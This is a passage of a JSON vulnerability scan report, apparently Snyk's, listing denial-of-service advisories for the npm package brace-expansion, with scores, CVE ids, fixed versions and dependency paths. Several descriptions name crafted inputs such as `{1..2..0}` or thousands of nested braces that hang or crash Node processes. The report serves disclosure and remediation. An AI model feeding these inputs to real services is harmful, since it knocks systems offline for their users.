"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
